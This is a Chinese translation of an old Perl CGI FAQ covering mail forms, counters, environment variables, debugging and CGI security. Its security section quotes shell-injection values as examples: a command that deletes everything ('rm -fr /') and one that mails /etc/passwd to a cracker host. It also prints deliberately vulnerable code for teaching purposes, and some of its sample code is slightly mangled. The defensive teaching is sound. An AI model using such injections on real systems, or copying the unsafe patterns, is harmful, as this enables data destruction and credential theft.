我們就假設您用的是 CGI::* 模組。您可用以下的方法去叫 sendmail：
$cgi_form = new CGI::Form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open SENDMAIL, "| /usr/bin/sendmail -t -n";
print SENDMAIL <<End_of_Mail;
From: $from <$name>
To: $to
Reply-To: $from
Subject: $subject
$message
End_of_Mail
網路上有許多的 mail 渠道 (gateway)* 是以底下這種方法來送 mail：
【譯者】gateway 在此指送 email 的 CGI 程式
open MAIL, "| mail -s 'Subject' $to";
^
|
+-- 可能會出問題的漏洞！！！
那麼您的麻煩可大了*。; rm -fr / ;
【譯者】這裡頭的 ``;'' 便是一個危險的 shell metacharacter。另一個危險的符號是 ``&''。在這個假想的情況中，有多少個檔案會被遠方的 user 給殺掉，還得視 server 跑的使用者的權限而定（這就是為什麼 server 要以低權限使用者身份跑的原因）。 至少那些由 CGI 程式製造出來，但又沒有備份的檔案，是真的要跟它們永別了。
那您的 CGI script 就替您把 /etc/passwd 給拱手送上了。這對一個「未加工」的 Linux、SunOS 4.1，還有其他任何沒安裝 shadow-password 的 UNIX 系統來說， 實在不太好玩。如果 server 錯誤地跑了 root，那麼就算裝了 shadow-password 也沒有用，因為遠方的 cracker 甚至可以讓這個 CGI 的 email script 給他送 /etc/shadow （視系統而定，不一定在 /etc 底下或叫這個名字）。; mail joe@crackerland.org </etc/passwd
Q4.2: 剛才這個用 form 送信的 script 看起來有點難。為什麼不乾脆用 ``mailto: URL''，這樣 user 填入的資料就可以寄給我了？
很不幸地，mailto: 的指令並不是所有的瀏覽器都支援。如果您在檔案中用了它的話， 會限制了那些使用沒有支援 mailto: 的瀏覽器的人，讓他們無法送 mail 給您*。
【譯者】儘管如此，您或許不會在乎那佔極少數比例的使用者（Netscape 、 IE， 和 lynx 等瀏覽器都支援 mailto: ）。
Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI，譬如 Mac、MS-DOS、 Windows 及 NT？我的 Perl CGI 程式能不能在這些平台之間互相移植呢？能不能 很直接，沒有麻煩？我在 UNIX 主機上有帳號，但是都是先在 Windows/Mac 上做。 我要如何在我自己的機器上測試寫好的 CGI scripts*？
Perl 已經被移植到上述所有的平台上了。因此，您的 Perl CGI 程式照理應不難 移植。但如果您使用到一些 UNIX 上的程式，那麼您的程式可能會不好移植。如果 您只是做資料處理，或開啟、讀進檔案等的話，那麼移植應該不會有問題。
【譯者】原 FAQ 並未回答最後這個問題。要在 Windows/OS2/Mac 等非 UNIX 平台 上測式您的 scripts ，您可以使用 CGI.pm （支援以上所有平台），配合 Q4.19 中提示的除錯技巧 ，或在自己的機器上安裝 HTTP server 軟體。如此就不用辛苦的連上主機去測式了。
Q4.4: 在 Perl CGI 程式中，STDERR （標準錯誤訊息)、STDIN (標準輸入），和 STDOUT （標準輸出） 各是連到何處？
在 CGI 環境下，STDERR 會指向 server 的 錯誤訊息檔 (error log)。您可以善 加利用這個特性，把除錯的訊息寫到 STDERR，然後您便可藉查看錯誤訊息檔來幫 您除錯。
STDIN 和 STDOUT 則都和瀏覽器相連。實際上，STDIN 連的是 server。 server 會先解讀 client （或瀏覽器）送出的請求和資料，再將其送給 script。
您也可以用將 STDERR 「複製」到 STDOUT 的方法來抓錯誤訊息。這應該在 script 靠前頭的地方做（但應在您輸出合適的 HTTP 標頭之後）：
這會將所有的錯誤訊息都轉送到 STDOUT （即瀏覽器） 去。open STDERR, ">&STDOUT";
Q4.5: 如何寫計數器？
計數器一類的程式相當流行。其實計數器的原理很簡單，不過是：
- 用一個檔案去儲存資料。
- 每當有人光臨網站，增大檔案中所計的數字。
以下是一個簡單的計數器的實例：
現在您可以在 HTML 檔案中用 SSI (Server Side Include; 伺服端插入)* 的方式來顯示該計數器：#!/usr/local/bin/perl -w $counter = "/home/shishir/counter.dat"; print "Content-type: text/plain", "\n\n"; open(FILE, $counter) || die "Cannot read from the counter file.\n"; flock FILE, 2; $visitors = <FILE>; flock FILE, 8; close FILE; open(FILE, ">$counter") || die "Cannot write to counter file.\n"; flock FILE, 2; print FILE $visitors; flock FILE, 8; close FILE;
【譯者】SSI 是 server 所提供的一項功能，可將動態資料，例如日期和時間，或 計數器顯示等，在客戶請求一網頁時即時加入該文件中。支援 SSI 的 servers 包 括了 NCSA、Apache，和Netscape Enterprise Server 等。 SSI 固然是一項便利的設計，但如過份濫用 ，不但會減低 server 性能，更可能招來安全上的危機。
您是第<!--#exec cgi="/cgi-bin/counter.pl-->位光臨本站的客人。
Q4.6: 要如何用一個 Perl 的取代指令將所有 HTML 標籤從一份文件中刪除？
以下這個簡單的 regular expression 可用來去除 HTML 標籤*：
【譯者】
- 要讓這個 regular expression 跨行執行，您必須先將您的 script 由預設的 按行執行模式 (line mode) 改為按段執行模式 (paragraph mode)。您可以在指令 列以：
perl -00 -we '...'的方式；或是在 script 中以：#!/usr/bin/perl -00或$/ = "";的方式來設定按段執行模式。- 除非您需要對欲刪除的 HTML 標籤中的內容做進一步的處理或利用，否則本例 中最外圍的一對括弧可去掉。
$line =~ s/<(([^ >]|\n)*)>//g;
詳細的相關資料，請看 Tom [Christiansen] 的 striphtml 程式， 這個程式同時也收錄在他的tour of perl5 regexps 講義中。
Q4.7: 要如何知道是誰／哪台機器／哪個瀏覽器執行了我的程式？
您可以從 HTTP_USER_AGENT 這個環境變數得知使用者所用的瀏覽器。
【摘自 WWW FAQ】
您的 CGI script 可以利用五個重要的環境變數來幫忙辨識使用者的身份。
- HTTP_FROM 這個環境變數理論上應設為使用者的email地址。但是許多瀏覽器完全不加以設定 【即不支援】，而大部份支援這個變數的瀏覽器又讓使用者自由設定這個值。因此， 建議讀者頂多拿它來做為 email form 中回信地址的預設值。
- REMOTE_USER 這個變數唯有當 script 在安全認證的保護下執行時才會被設定。從 AUTH_TYPE 這個變數可以知道所用的認證方法是屬於哪一個類型。REMOTE_USER 則會含有正接 受認證的使用者的名字。要注意的是，REMOTE_USER 只有在使用安全認證的時候才 會被設定，而且不是所有的 servers 都支援。在 NCSA server 底下，如果認證所 使用的傳輸方式沒有列入 access.conf 檔中(也就是說，應使用 <Limit GET POST>，而不是僅僅用預設的 <Limit GET>)，認證可能會出人意外地失 敗。
- REMOTE_IDENT 如果 server 能連接上客戶端的 IDENT server，它會將這個變數設成遠方使用者 的身份。但由於向IDENT server 查詢的動作太花時間，大部份的 servers 都把這 項功能關掉。更何況，客戶端的機器是否會回應查詢，又是否會誠實以對，都是無 法確定的。
- REMOTE_HOST
-
這個變數的設定值並不包括遠端使用者的真實身份，但是會提供使用者正用來連線
的機器名稱，只要 server 能找得出來。由於我們無法確切得知使用者的真實身份
【請看前一個環境變數的說明】，有的時候使用可確認的位址來替代，不失為一個可
行的變通方法。在 server 查不到遠端的機器名稱，或者是為增加 server 的處理
速度而將這個查詢功能關掉的情況下，這個變數是空的；請看底下
REMOTE_ADDRESS 一項的說明。還有，別忘了您可能會發現所有使用同一個 proxy
（代理人） server 的使用者的機器名都變成了那台 proxy server 的名字。
- REMOTE_ADDR 這個變數的設定值並不包括遠端使用者的真實身份，但是會提供使用者正用來連線 的機器的資料。REMOTE_ADDR 會包含客戶端的 IP 位址，以用點隔開的十進位數字 的形式來表示。由於我們無法確切得知使用者的真實身份 [請看前一個環境變數的 說明]，有的時候使用可確認的位址來替代，不失為一個可行的變通方法。和前一 項 REMOTE_HOST 不同的是，這個變數一定會被設定。還有，別忘了您可能會發現 所有使用同一個 proxy （代理人） server 的使用者的機器位址都變成了那台 proxy server 的位址。
Q4.8: 人家看得到我的 Perl CGI 程式嗎？如果是這樣的話，那不就讓他們知道我的程式是怎麼運作的了。這是個安全漏洞嗎？我要怎麼把它隱藏起來？
如果您將您的 server 設成對所有在一個特定目錄（如 cgi-bin）下的檔案，或者 是具有某些副檔名（如 ``.pl''、``.tcl''、``.sh''）的檔案一律都以 CGI 程式看 待，那麼 server 只會執行這些程式。至於使用者是無法看到 script 本身的內容 的。
但是如果您允許人們看您的 script (譬如把它放到 HTML 文件的根目錄 下)，那麼只要是這個程式沒有安全上的漏洞，這並不能算是安全問題。如 果這個程式真的有安全上的破綻而您又允許使用者看這個程式，那麼他們便有機可 乘，進而利用這個弱點。
【譯者】上面這段原文作者是就遠方的客戶端的使用者而言。和這個主題相關的一 個常問問題是：Q: 我的 Perl CGI scripts 必須將權限設為全世界可讀。可是這樣一來，和我同 機器有帳戶的人，只要知道我的程式名稱，就可以瀏覽我的 Perl 程式的內容；尤 其當其中牽涉到密碼的問題時。
A: 至少有兩個解決方法，一個簡單，一個複雜：
簡單的方法是，請您的系統管理者（如果不是您自己的話），將您的 CGI scripts 及密碼檔（如果您選擇將密碼存放在另一個檔案中的話）的所有者設成 Web server 跑的使用者（最常見的是使用者 nobody ；使用群 nogroup 或 nobody）， 然後將 CGI scripts 的使用權限設定成 550 (-r-xr-x---)，密碼檔的權限設成 440 (-r--r-----)。如此一來，一方面您的程式得以執行，而且其他同機器上的 使用者也沒有辦法偷看到您的程式和密碼。
比較複雜的解決方法是先挑個難破的密碼將整個程式加密起來，然後再使用 Filter::decrypt 這個模組在臨執行前將其解開，在此不多說。有興趣的讀者請看 Filter::decrypt 的使用說明；此外新的 perl FAQ 第三部分中這一段：``How can I hide the source for my Perl program?'' ，大家也可參考。
Q4.9: 我需要將整個 Perl library 都複製到我的 htdocs 目錄底下嗎？
不需要。您的 CGI scripts 可以使用 server 和 文件根目錄之外的任何檔案，除 非 server 是在一個 chroot 的環境下執行。
Q4.10: 我為什麼不該叫使用者輸入他們的密碼或身份證字號或信用卡號碼？有一個 TYPE="password" 不是就是拿來做這個的嗎？
No! form 的介面中有一個 ``password'' 的欄位，但是您不應該拿它來處 理任何機密性的資料。不該這麼做的原因是因為所有的 form 資料(包括 ``password'' 欄) 都是以純文字形式，而非以加密形式由瀏覽器送至 server。
如果您想要安全地傳送資料，那麼您需要使用具有安全功能的 server，例如 Netscape 的 Commerce Server*。
【譯者】Apache SSL ，例如 Stronghold 版，同樣具有這個功能。
Q4.11: 我要如何產生專門替 Netscape 設計的網頁，以別於世上其他的瀏覽器？
您可以透過 HTTP_USER_AGENT 這個環境變數在您的 CGI script 中得知是否 Netscape 正在執行您的 script。以下為一例：
$browser = $ENV{'HTTP_USER_AGENT'};
if ($browser =~ /Mozilla/) {
#
# Netscape
#
} else {
#
# Non Netscape
#
}
Q4.12: 為什麼我的 system() 所產生的資料輸出順序不對？
這是由於標準輸出的產生方式通常是先累積相當的資料再輸出(buffered)。要 讓輸出的資料以正確的順序顯示，您必須藉由 $| 這個變數的設定將 buffering 的 特性關掉。
Q4.13: 我聽說 Netscape 會支援 Java*。這是不是說我現在得棄 Perl，改 Java 了？是不是該這麼做？
【譯者】原 FAQ 已有相當一段時間未更新。這句話現在應該改作「Netscape 和 IE 兩大瀏覽器都已支援 Java」。
不、不、不。Java 和 CGI 的概念完全不同。CGI 是在 server 端執行，而 Java則是在 client 端執行。有些東西（如動畫）可藉由使用 Java 而得到較好的效 果。但您可繼續使用 perl 來發展 server 端的應用程式。
如果您需要有關 Java 進一步的資料，底下列了幾個文件您可以去看看*：
- 昇陽公司的 Java 文件
- Tom C.所寫的 Java uber Alles（Java 的種種）
- Java, the Illusion（Java 幻像）
【譯者】後面這兩篇文章對 Java 及這個熱潮作了很嚴厲的批判。本 FAQ 作者 Tom C. 的 Java uber Alles 中的論點主要著重於技術層面。Tom 對 Java 的態度或許代表了不少 Perl 陣營人仕的心聲。
Q4.14: 我要如何讀取環境變數？為什麼它們有時候會不一樣？
您可以透過 %ENV 這個關連陣列來讀取環境變數。以下這個簡單的 script 會把所 有的環境變數印出來（排好順序）：
#!/usr/local/bin/perl -w
print "Content-type: text/plain", "\n\n";
foreach $key (sort keys %ENV) {
print $key, " = ", $ENV{$key}, "\n";
}
exit 0;
很不幸的，有些環境變數會被某些瀏覽器忽略掉。譬如，有些瀏覽器就不設定 HTTP_REFERER。
Q4.15: 為什麼我輸出的資料被攪亂了（如 ``b < a'' 會被破壞掉）？
如果您送的 MIME 類型是 HTML 的話，您必須 「跳脫」 (escape) 某些符號，如 ``<''、``&anp;''，及 ``>''，否則瀏覽器會以為它是 HTML 【標籤】。
您必須使用以下格式來跳脫特殊字元：
&#ASCII 代碼;
您可以在指令列執行這個簡單的 script，便可得到非字母數字性字元 (non alpha-numeric characters) 所對應的 ASCII 碼：
#!/usr/local/bin/perl -w
print '請輸入字串： ';
chop($string = <STDIN>);
$string =~ s/([^\w\s])/sprintf("&#%d;", ord($1))/ge;
print '跳脫過的字串是： ', "$string\n";
exit 0;
Q4.16: 為什麼我的Perl CGI 程式可以由指令列，卻無法從瀏覽器去執行？
最可能的原因是權限的問題。別忘了，您的 server 可能是以 ``nobody''、 ``www''，或其他權限很低的帳戶身份來執行的。因此，除非它有足夠的權限，否 則是無法執行您的 script 的。
Q4.17: 為什麼我的 Perl CGI 程式能跑，但是不會把資料寫到檔案中？
這又是權限在作怪！server 除非有足夠的權限否則是無法將資料寫進某目錄下的 某檔案裡去的。
您應該養成習慣檢查 open 指令遞回的錯誤狀態 (error status)：
print "Content-type: text/plain\n\n";
.
.
.
open(FILE, ">/some/dir/some.file") ||
print '無法寫進檔案： ', "$!\n";
.
.
.
Q4.18: 要如何做一個會維繫狀態，或允許【同一使用者】多次連線的 form？
您可以用 CGI::MiniSvr 這個 module 來維持【記住】幾次不同的連線之間的狀態資 料。
或者，您可以製做一系列的動態文件，在彼此之間相互傳遞一個期間代碼(session ID)，此代碼可以以詢問 (query)、額外路徑，或隱藏式欄位等形式存在*。
【譯者】CGI.pm 會替您把這部份（維持狀態)做好 (用上述的原理），故使用 CGI.pm 可自動享受這項功能，不需要自己去做。這又多了一個該使用 CGI.pm 的理由。
Q4.19: 如果不從瀏覽器去執行我的 CGI 程式，要如何替它除錯？
CGI 程式不容易除錯。您可以藉著手動設定環境變數來模擬 server：
要模擬 POST 請求，您可以把資料先放進一個檔案裡，然後把它 pipe 到您的程式 去：setenv HTTP_USER_AGENT "Mozilla/2.0b6" (csh)或export HTTP_USER_AGENT = "Mozilla/2.0b6" (ksh, bash)
cat data.file | some_program.pl
或者您可以用 CGI.pm 來幫您除錯。假設您有一個像下面這樣的 script， 它會把所有您傳給它的索引／設定值對應資料 (key/value pairs) 都列印出來。
#!/usr/local/bin/perl -w
use CGI;
$cgi = new CGI;
print $cgi->header;
print $cgi->start_html("Simple CGI.pm Program");
print "<H1>Simple CGI.pm Program</H1>\n";
print "<HR >";
print '以下所列的是您傳送的設定值：';
print $cgi->dump;
exit 0;
在第二個例子中，整個字串周圍必須加引號(")，否則 shell 看到 ``&'' 這個符 號會誤解。好，接下來是從標準輸入來除錯的方法：% simple.cgi first=shishir last=gundavaram document='CGI\ FAQ'或% simple.cgi "first=shishir&last=gundavaram&document='CGI\ FAQ'"
當然，您也可以先用一個檔案來儲存資料，然後再做輸入轉向，像這樣：% simple.cgi (waiting for standard input) first=shishir last=gundavaram document=CGI\ FAQ ^D
% simple.cgi < form.data
您也可以用 CGI Lint （即將出版）。它能達到相同的功效。另外，它也能幫忙檢查 有無安全問題，不當使用 open()，以及不正確的 HTTP 標頭等。
Q4.20: 如果不靠<FORM>標籤，要如何叫出 Perl CGI 程式？
您可以直接去打開該 CGI 程式的 URL：
http://some.machine/cgi-bin/your_program.pl
您也可以在文件中使用連結的方式，例如：
<A HREF="http://some.machine/cgi-bin/your_program.pl">
要試試我的CGI程式請在這裡點一下</A>
Q4.21: 要如何避免旁人不先填欄位就執行我的 form？他們為什麼一直不斷這麼做？
這些人欄位完全空白就去執行 form 是因為他們把這個 form 的 URL 儲存起來 【儲存到書籤裡面】的關係。當他們下次叫出這個 form 的時候，這個請求就會變成 是一個空的 GET （而非 POST 或填有資料的 GET）。
您可以先檢查所有欄位中的資料，如果其中有欄位留白的話，您可以送回一個``No Content'' 的狀態屬性*。以下是一例(假設關連陣列 %form 中含有您 form 的資 料)：
【譯者】狀態碼 204 的屬性已由 HTTP 0.9 的 ``No Response'' 變為 HTTP 1.0 和 HTTP 1.1 中的 ``No Content'' 了。
$error = 0;
foreach $value (values %form) {
$value =~ s/\s//g;
$error = 1 unless $value;
}
if ($error) {
print "Content-type: text/plain\n";
print "Status: 204 No Content\n\n";
print '除非您的瀏覽器不支援狀態碼 204 ，否則您不該看到這部份' , "\n";
} else {
#
# Process Data Here
#
}
Q4.22: 那些server 回應碼 (server response codes)是幹什麼用的？有什麼意義？
CGI 程式可以傳送 server 然後 server 會把它轉送給瀏覽器。例如： 假設您想送 ``No Content'' （意思是告訴瀏覽器不要再重新下載該網頁），那麼您得送一個 204 的回應碼（見上例）。
Q4.23:
為什麼
print "Location: http://host/page.html\n"
不 work？又為什麼它只 work 一次，但隨後的轉向就都弄錯了呢？
CGI 程式只能送一個 Location 標頭。還有，如果您要 server 做轉向的 動作您就不該送 MIME 類別。譬如，以下的例子是錯誤的示範，儘管在有些 servers 上行的通：
#!/usr/local/bin/perl -w . . . print "Content-type: text/plain\n" print "Location: http://some.machine/some.doc\n\n"";
Q4.24: 要如何讓 server 在每個 HTML 網頁的底部都自動加上一個：「最近更新日期： ...」的告示？或者，是不是只有 SSI 的網頁才能這麼做？CGI 程式的日期要如何取 得？
如果您是透過 CGI 以動態方式來產生您的文件，那麼要插入一個時間標記非常簡 單。以下是一例（僅適用於 Perl 5）：
或者是：$last_updated = localtime; print '最近更新日期： ', "$last_updated\n";
甚至像這樣：require "ctime.pl"; $last_updated = &ctime(time); print '最近更新日期： ', "$last_updated\n";
您可以用 SSI 來達到這個效果，像這樣：chop($date = `/usr/local/bin/date`); print '最近更新日期： ', "$last_updated\n";
<--#echo var="LAST_MODIFIED"-->
Q4.25: 什麼樣的場合下以 Perl 寫 CGI 程式會顯得太小題大作，因為用 shell 就可以做到？而什麼樣的場合對 Perl 來說又過於困難？用 C++ 做這類的事不是好得多嗎？那用 C 呢？
每一個語言都有其長處和短處。相信這句話您聽過很多次了。所以一切全看您要做 的是什麼而定。如果您預期正準備寫的 CGI 程式每個鐘頭會有幾千幾萬人次連去 使用，那麼您應該選用 C 或 C++來寫。如果您求快的話（指發展所花費的時間而言）， 那麼 Perl 是正確的選擇！
一般說來，您應避免用 shell 來做任何形式的 CGI 程式設計，因為 shell 在先 天上容易產生安全問題。
5.0 － 安全
Q5.1: 以 Perl 寫成的 CGI 程式是不是不如以 shell 或 C 寫的來得安全？
這個問題的答案是： CGI 程式先天上就不安全，不管它是用那個語言寫成的*。
【譯者】WWW 及 CGI 操作安全 FAQ 中問題第 31 對此有深入的探討。
Q5.2:我該特別留意哪些安全事項？
絕對不要對 shell 暴露任何 form 資料。底下這幾項通通都是安全漏洞：
open(COMMAND, "/usr/ucb/finger $form_user");system("/usr/ucb/finger $form_user");@data = `usr/ucb/finger $form_user`;
話雖如此，在上面的第二種寫法中，系統安全可藉著改變參數傳送的方式而得以改 善。也就是將參數由字串方式傳送 （shell 會先解譯），改為序列方式傳送。
system("/usr/ucb/finger", $form_user);您同時應該閱讀：
- 由 Lincoln Stein 所著，一份很完整的 WWW 及 CGI 操作安全 FAQ
- Paul Phillips 所著，CGI 安全 FAQ
Q5.3:為什麼大家都說
http://bigidiot.abuse-me.com/perl.exe?foo.pl
這樣很危險？會有多糟？
極度危險！ 想想看如果我這麼做會發生什麼事：
http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c'
現在您同意了吧？避免這個惡夢發生的方法：
- 將 perl.exe 執行檔由 ``cgi-bin'' 移到 server 根目錄以外的目錄裡去。
- 在 ``cgi-bin'' 裡用批次檔 (batch) script 來叫出您的 CGI script。
以下是一例。假設您的 CGI script 叫做 ``sample.pl'' 而您的批次檔叫 ``simple.bat''：
現在，您可以做：@echo off c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl
<A HREF="/cgi-bin/simple.bat">Click Here</A>
Q5.4:要如何在程式中安全地使用逆向撇號
（backticks，"`"，位於鍵盤左上角）？這麼做：
@ans = `grep'$user_field' some.file`;
是不是真的不安全？
是的！ 這非常危險！試想，如果 $user_field 含有這樣的內容會有什麼後 果：
; rm -fr / ;
要達到相同的效果，一個比較安全的做法是*：
if (open GREP, "-|") {
@ans = <GREP>;
} else {
exec("/usr/local/bin/grep", $user_field, "some.file")
|| die "Error exec'ing command", "\n";
}
close GREP;
【譯者】 如果讀者對以上 open GREP, "-|"部份的句法有疑問，可以 參閱 perlipc manpages 中 Safe Pipe Opens一節的說明。
Q5.5:
/$user_variable/ 這個句法是不是 Perl 5 中的一個安全漏洞？
不！這不是個安全漏洞。但是如果您用 eval 指令在執行期 (runtime) 去 評估這個敘述，那麼，它會變成一個安全死角。例如這種做法可能很危險：
foreach $regexp (@all_regexps) {
eval "foreach (\@data) { push(\@matches, \$_) if m|$regexp|o; }";
}
This document, and all its parts, are Copyright (c) 1996, Shishir Gundavaram and Tom Christiansen. All rights reservered. Permisson to distribute this collection, in part or full, via electronic means (emailed, posted or archived) or printed copy are granted providing that no charges are involved, reasonable attempt is made to use the most current version, and all credits and copyright notices are retained. Requests for other distribution rights, including incorporation in commercial products, such as books, magazine articles, or CD-ROMs should be made to either of the authors.You are the本文件著作權屬於 Shishir Gundavaram 及 Tom Christiansen 所有，Copyright (C) 1996。在不涉及收費營利、儘可能地使用最新版，及所有著作權告示保持完整 的情況下，作者允許任何人透過電子形式（電子郵件、討論群佈告，或存放），或 印表方式對本文件作完整或部份發行。如欲將本文件作其他方式發行，包括將本文 件附加於商業產品，諸如書籍、雜誌文章，或光碟等之中，必須事先對二位作者其 中一人提出請求，以徵得許可授權。
本中譯版及譯者補充部份著作權屬蕭百齡及兩隻老虎工作室所有，Copyright (C) 1997。本中譯版遵守並使用與上述原文版相同的使用條款發行。